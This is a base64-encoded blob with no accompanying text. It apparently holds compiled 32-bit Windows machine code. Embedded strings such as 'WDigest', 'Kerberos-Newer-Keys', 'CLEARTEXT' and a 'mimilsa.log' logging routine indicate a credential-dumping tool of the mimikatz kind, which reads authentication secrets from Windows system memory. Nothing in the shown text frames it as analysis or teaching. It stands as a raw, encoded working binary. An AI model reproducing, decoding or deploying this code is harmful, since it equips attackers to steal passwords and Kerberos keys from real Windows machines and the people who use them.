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olFxo2FrP7//4lFyGoOWGaJRcxqDlhmiUXOjYXU/v//iUXQahBYZolF1GoQWGaJRdaNhfz+//+JRdhqJlhmiUXcaiZYZolF3o2FJP///4lF4GoBaAAAABCNReRQagC4QUFBQf/QhcAPjLYCAACNRehQagW4SEhISP/QhcAPjJYCAACNRexQi0Xo/3AIaAAAABD/deS4RERERP/QhcAPjGkCAACNRfRQi0UI/3AYaAAAABD/dey4RUVFRf/QhcAPjD0CAACDZfwA6weLRfxAiUX8g338BQ+D5AAAAGtF/BiDpAVg////AGtF/BiDpAVQ////AGtF/BiLTfyJjAVM////a0X8GMeEBVz///+AAAAAg338AHQ3a0X8GI2EBVD///9Qa0X8GI2EBWD///9Qi0X8jUTFvFD/dfS4Q0NDQ//Qa038GImEDVz////rMmtF/BjHhAVQ////JAAAAGtF/BiNhAVg////UGoS/3X0uEZGRkb/0GtN/BiJhA1c////a0X8GIO8BVz///8AfC1rRfwYg7wFYP///wB0H2tF/BiDvAVQ////AHQRa0X8GItN+AOMBVD///+JTfjpC////4tF+IPAWItNCIlBDGoEaAAwAACLRQj/cAxqALhKSkpK/9CJRfCLRQiLTfCJSBCDffAAD4T/AAAAg2X4AItFCItAEMcABQAAAINl/ADrB4tF/ECJRfyDffwFD4PYAAAAa0X8GIO8BVz///8AD4zBAAAAa0X8GIO8BWD///8AD4SBAAAAa0X8GIO8BVD///8AdHOLRfiDwFhrTfwYiYQNVP///2tF/BiNtAVM////i0UIi0AQi038weEEjXwICKWlpaVrRfwY/7QFUP///2tF/Bj/tAVg////a0X8GItNCItJEAOMBVT///9RuExMTEz/0IPEDGtF/BiLTfgDjAVQ////iU34g338AHQUa0X8GP+0BWD///+4S0tLS//Q6xRqEmtF/Bj/tAVg////uEdHR0f/0OkX////jUX0ULhCQkJC/9CNRexQuEJCQkL/0P916GoFuElJSUn/0I1F5FC4QkJCQv/QM8BfXovlXcIEAFWL7LhyYXNsXcNRaIBlBRD/FYCyAxCjrCgGEIXAD4TSAAAAVos1fLIDEGiQZQUQUP/WaKBlBRD/NawoBhCjuCgGEP/WaLBlBRD/NawoBhCjqCgGEP/Wa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